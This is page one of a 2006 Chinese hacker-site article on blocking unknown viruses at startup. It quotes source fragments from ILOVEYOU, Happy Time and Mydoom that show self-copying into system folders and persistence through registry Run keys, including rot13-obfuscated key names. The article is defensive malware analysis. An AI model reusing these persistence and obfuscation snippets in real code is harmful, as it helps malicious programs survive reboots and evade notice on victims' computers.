黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 文章正文
[推荐]智能化防杀未知电脑病毒[木马运行机制]
        ★★★★★
智能化防杀未知电脑病毒[木马运行机制]
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-12-8
病毒的拦截我觉得主要应该在病毒的启动之时。以下对病毒结构的分析着重这一点。
我们知道所谓病毒这种非法的恶意程序,一定要把自己的主体植入内存。即在受害体的电脑上运行。任何程序在不运行的时候都失去自己存在的意义。电脑病毒必须运行才能产生病毒的危害.病毒运行的方式有很多种。每一种都必须要写入内存,以下简单列出一些常见的病毒运行方式。
 
1.直接运行进程。
此处说的指的是运行的时候创建文件的过程。即运行时候产生的结果。主要是指的是对CreateFile(),OpenFile(),GetFile()等函数的调用。很多病毒都会运用这些函数读写文件。简单举例。
I LOVE YOU病毒中,
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

Mydoom病毒中,
HANDLE h = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0,
        OPEN_EXISTING, 0, 0);
    if (h == INVALID_HANDLE_VALUE) {
        printf("%s: cannot open \"%s\"\n", argv[0], argv[1]);
        return;
    }
    if (GetFileSize(h,0) < 0x100) {
        printf("%s: invalid size\n", argv[0]);
        CloseHandle(h);
        return;
    }
    DWORD dwPeOffs, dwRead, dwWritten;
    SetFilePointer(h, 0x3C, 0, FILE_BEGIN);
    ReadFile(h, &dwPeOffs, 4, &dwRead, 0);
 
2.写入注册表启动项目。
多数病毒利用RegCreateKey函数,新增加一个注册表的Value值。或者利用RegWriteKey函数写入修改值。使用RegOpenKey打开获取等等,总之是改变注册表以达到自己的目的。
如I LOVE YOU病毒的一节,
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
r\Download Directory")
这个病毒虽然很老了,但事实脚本病毒的典型。此病毒就是利用regcreatekey函数新增开机启动项目。在run和runsrvices 下新增value值。来达到运行病毒的目的。
如happy time 病毒,中
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"
如mydoom病毒中:
for (i=0; i<2; i++)
        if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
            tmp, 0, KEY_READ, &k) == 0) {
            RegCloseKey(k);
            return;
        }
    sync->first_run = 1;
    for (i=0; i<2; i++)
        if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
            tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)
            RegCloseKey(k);
}
void sync_startup(struct sync_t *sync)
{
    HKEY k;
    char regpath[128];
    char valname[32];
    /* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
    rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
    rot13(valname, "GnfxZba");    /* "TaskMon" */
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
        if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
            return;
    RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1);
还有很多木马和恶意程序都会关联到注册表的启动已经修改注册表的相关一些项目。在此不一一列举。总之,这种方式一直被广泛地运用着。(金州注释:本文所说的病毒是广泛意义上的病毒。包括一切危害或潜在危害到用户的程序。)
 
 

[1] [2] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886